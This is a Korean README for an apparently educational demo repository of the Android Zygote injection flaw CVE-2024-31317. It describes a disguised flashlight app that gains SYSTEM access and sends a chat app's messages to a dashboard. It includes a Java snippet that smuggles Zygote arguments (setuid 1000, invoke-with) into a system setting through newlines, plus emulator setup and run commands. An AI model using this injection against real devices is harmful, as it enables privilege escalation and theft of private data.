
Android의 CVE-2024-31317 Zygote 인젝션 취약점에 대한 교육용 데모
이 실습은 악성 앱이 권한을 SYSTEM 수준(UID 1000) 으로 승격시키고 Android 샌드박스를 우회하여 다른 애플리케이션의 데이터를 실시간으로 읽을 수 있게 하는 치명적인 Android 취약점인 CVE-2024-31317을 시연합니다.
| 단계 | 설명 | 시각 자료 |
|---|---|---|
| 1 | 사용자가 무해해 보이는 "Flashlight Pro" 앱을 설치함 | 🔦 |
| 2 | 앱이 CVE-2024-31317을 악용하여 SYSTEM 액세스 권한을 획득함 | 💉 |
| 3 | SYSTEM 수준 서비스가 "SecureChat" 메시지를 읽음 | 👁️ |
| 4 | 도난당한 메시지가 실시간 대시보드에 표시됨 | 📊 |
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # Victim app (Jetpack Compose)
│ │ ├── Encrypted messages stored in SQLite
│ │ └── Simulates WhatsApp-style encryption
│ │
│ ├── FlashlightPro/ # Malicious app with exploit
│ │ ├── Normal flashlight UI (distraction)
│ │ ├── Background exploit service
│ │ └── WRITE_SECURE_SETTINGS permission
│ │
│ └── MonitorService/ # SYSTEM-level reader
│ ├── Runs with UID 1000 after exploit
│ ├── Reads SecureChat database
│ └── Exfiltrates to dashboard
│
├── 📊 dashboard/ # Flask web dashboard
│ └── app.py # Shows stolen messages live
│
├── 📜 scripts/ # Automation scripts
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # Exploit information
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # Code templates
├── exploit_template.java
└── dashboard_template.html
CVE-2024-31317은 Android의 Zygote 프로세스가 hidden_api_blacklist_exemptions 시스템 설정을 처리하는 방식에 존재합니다. 입력 검증(input sanitization)이 누락되어 공격자가 줄바꿈 문자를 주입하여 Zygote 명령에 임의의 인수를 추가할 수 있습니다.
공격 벡터:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| 버전 | 상태 |
|---|---|
| Android 9 - 14 | ❌ 취약 (2024년 6월 패치 이전) |
| Android 14+ | ✅ 패치됨 (2024년 6월 보안 업데이트) |
| Android 15+ | ✅ 안전 |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 브라우저에서 http://localhost:5000을 여세요
cd ../scripts
python3 run_exploit.py
🎬 데모 비디오가 곧 공개됩니다
WRITE_SECURE_SETTINGS 권한을 요청합니다/data/data/com.securechat/databases/에서 데이터베이스를 직접 읽습니다기여는 언제나 환영합니다! 다음 절차를 따라주세요:
기여 분야:
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요
Aman - @GitAmanS
이 데모가 교육적으로 도움이 되었다면 별표(스타)를 눌러주세요! ⭐
보안 연구자를 위해 보안 연구자가 만들었습니다
기억하세요: 큰 힘에는 큰 책임이 따릅니다 🕷️